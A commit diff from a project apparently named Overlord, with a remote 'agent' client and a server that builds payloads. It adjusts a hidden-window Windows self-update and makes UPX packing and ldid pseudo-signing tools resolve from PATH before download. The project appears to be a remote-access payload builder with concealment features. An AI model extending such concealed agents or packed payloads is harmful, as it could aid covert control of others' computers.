fix updating and also check path before downloading compilers (can't even fucking download them on windows)

Overlord-Client/cmd/agent/handlers/agent_update_windows.go

@@ -97,9 +97,15 @@ func launchDeferredUpdateScript(sourcePath string, targetPath string) error {
 		return err
 	}
 
-	cmd := exec.Command("cmd.exe", "/D", "/Q", "/C", scriptPath)
+	cmd := exec.Command("cmd.exe", "/C", scriptPath)
 	cmd.Dir = filepath.Dir(scriptPath)
-	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_PROCESS_GROUP}
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_CONSOLE}
+	nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
+	if err == nil {
+		cmd.Stdin = nullFile
+		cmd.Stdout = nullFile
+		cmd.Stderr = nullFile
+	}
 	log.Printf("agent_update[win]: deferred updater script=%q debugLog=%q cmd=%q args=%v", scriptPath, debugLogPath, cmd.Path, cmd.Args)
 	if err := cmd.Start(); err != nil {
 		return fmt.Errorf("failed to start deferred updater: %w", err)

Overlord-Server/src/server/build-process.ts

@@ -103,17 +103,6 @@ type BuildProcessConfig = {
   boundFiles?: BoundFile[];
 };
 
-async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
-  try {
-    const check = await $`upx --version`.quiet().nothrow();
-    if (check.exitCode === 0) {
-      const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx";
-      sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" });
-      return true;
-    }
-  } catch {}
-  return false;
-}
 
 function stripUpxHeaders(filePath: string): boolean {
   try {
@@ -338,20 +327,16 @@ export async function startBuildProcess(
 
     let upxBin: string | null = null;
     if (config.enableUpx) {
-      if (await checkUpxAvailable(sendToStream)) {
-        upxBin = "upx";
-      } else {
-        try {
-          const upxTool = await ensureToolchain("upx", sendToStream);
-          upxBin = path.join(upxTool.binDir, "upx");
-        } catch (err: any) {
-          sendToStream({
-            type: "output",
-            text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`,
-            level: "error",
-          });
-          throw new Error("UPX not found");
-        }
+      try {
+        const upxTool = await ensureToolchain("upx", sendToStream);
+        upxBin = path.join(upxTool.binDir, "upx");
+      } catch (err: any) {
+        sendToStream({
+          type: "output",
+          text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`,
+          level: "error",
+        });
+        throw new Error("UPX not found");
       }
     }
 
@@ -1051,20 +1036,15 @@ func runBoundFiles() {
             // Attempt pseudo-signing with ldid (system-installed or downloaded on demand).
             try {
               let ldidBin: string | null = null;
-              const sysLdid = await $`which ldid`.nothrow().quiet();
-              if (sysLdid.exitCode === 0) {
-                ldidBin = "ldid";
-              } else {
-                try {
-                  const tc = await ensureToolchain("ldid", sendToStream);
-                  ldidBin = path.join(tc.binDir, "ldid");
-                } catch (dlErr: any) {
-                  sendToStream({
-                    type: "output",
-                    text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`,
-                    level: "warn",
-                  });
-                }
+              try {
+                const tc = await ensureToolchain("ldid", sendToStream);
+                ldidBin = path.join(tc.binDir, "ldid");
+              } catch (dlErr: any) {
+                sendToStream({
+                  type: "output",
+                  text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`,
+                  level: "warn",
+                });
               }
               if (ldidBin) {
                 const ldidSign = await $`${ldidBin} -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet();

Overlord-Server/src/server/toolchain-manager.ts

@@ -263,10 +263,36 @@ async function downloadAndExtract(
   logger.info(`[toolchain] installed ${key} at ${rootDir}`);
 }
 
+function tryResolveFromPath(key: ToolchainKey): EnsuredToolchain | null {
+  const m = MANIFESTS[key];
+  const primaryBin = m.ccBasename || m.binaryFilename;
+  if (!primaryBin) return null;
+
+  const found = Bun.which(primaryBin);
+  if (!found) return null;
+
+  const binDir = path.dirname(found);
+  return {
+    key,
+    rootDir: path.dirname(binDir),
+    binDir,
+    ccPath: m.ccBasename ? found : undefined,
+    cxxPath: m.cxxBasename ? (Bun.which(m.cxxBasename) ?? path.join(binDir, m.cxxBasename)) : undefined,
+    arPath: m.arBasename ? (Bun.which(m.arBasename) ?? path.join(binDir, m.arBasename)) : undefined,
+  };
+}
+
 export async function ensureToolchain(
   key: ToolchainKey,
   send: SendToStream,
 ): Promise<EnsuredToolchain> {
+  const fromPath = tryResolveFromPath(key);
+  if (fromPath) {
+    logger.info(`[toolchain] using ${key} from PATH: ${fromPath.binDir}`);
+    send({ type: "output", text: `[toolchain] Using system ${MANIFESTS[key].displayName} from PATH\n`, level: "info" });
+    return fromPath;
+  }
+
   if (isInstalled(key)) {
     return resolveEnsured(key);
   }